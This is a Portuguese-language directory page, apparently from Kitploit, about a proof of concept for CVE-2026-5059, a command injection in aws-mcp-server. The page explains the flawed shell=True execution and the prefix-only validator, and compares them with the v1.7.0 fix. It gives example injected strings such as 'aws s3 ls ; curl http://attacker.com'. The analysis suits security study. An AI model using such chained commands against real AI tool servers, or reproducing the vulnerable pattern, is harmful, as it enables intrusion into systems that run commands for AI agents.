Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-5059-poc — Prova de conceito demonstrando injeção de comandos no aws-mcp-server via shell=True, com análise do código vulnerável e da correção na v1.7.0. | Kitploit
Ferramentas/GitHubGitHub/venom203020/cve-2026-5059-poc
Análise EstáticaAnálise de VulnerabilidadesAnálise de CódigoExploraçãoSegurança Web
GitHubvenom203020/cve-2026-5059-poc

CVE-2026-5059-poc

Prova de conceito demonstrando injeção de comandos no aws-mcp-server via shell=True, com análise do código vulnerável e da correção na v1.7.0.

Ver Repositório
há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Onde está o CVE-2026-5059 no código? A vulnerabilidade está em dois arquivos que trabalham juntos:

Arquivo 1: tools.py — A Causa Raiz A versão antiga usava shell=True em execute_piped_command(): python# CÓDIGO ANTIGO VULNERÁVEL process = subprocess.run( command, # ← string bruta passada para o shell shell=True, # ← ESTE é o problema ... ) Quando shell=True, o shell do SO interpreta a string inteira, incluindo ;, &&, ||, crases — então qualquer coisa após ; é executada como um comando separado.

Arquivo 2: security.py — A Proteção Incompleta O validador apenas verificava se o comando começava com aws: python# CÓDIGO ANTIGO VULNERÁVEL def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← para aqui, sem verificar o que vem depois do pipe Então aws s3 ls ; curl http://attacker.com passava na validação — começa com aws — e depois shell=True executava ambas as partes.

Por que a versão atual (v1.7.0) é diferente Olhando o código real hoje, ambos os problemas desapareceram: python# CÓDIGO ATUAL em cli_executor.py cmd_parts = shlex.split(command) # divide em uma lista subprocess.run(cmd_parts, shell=False) # baseado em lista, sem interpretação do shell E security.py foi excluído por completo — substituído pelo sandbox do SO (Landlock/bwrap/Seatbelt). O ; agora é inofensivo: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess recebe ';' como um argumento literal para aws → a CLI da AWS o ignora, nenhum segundo comando é executado

Resumo em uma linha Versão vulnerávelVersão atual v1.7.0Execuçãoshell=True + stringshell=False + listaValidaçãostartswith("aws") apenasSandbox em nível de SO; tratamentoExecutado pelo shellTratado como texto literal O CVE foi registrado contra a versão antiga. A ZDI o publicou como 0-day porque o fornecedor rejeitou o relatório — mas a arquitetura já havia migrado do shell=True antes da publicação do CVE.

Baixar ferramenta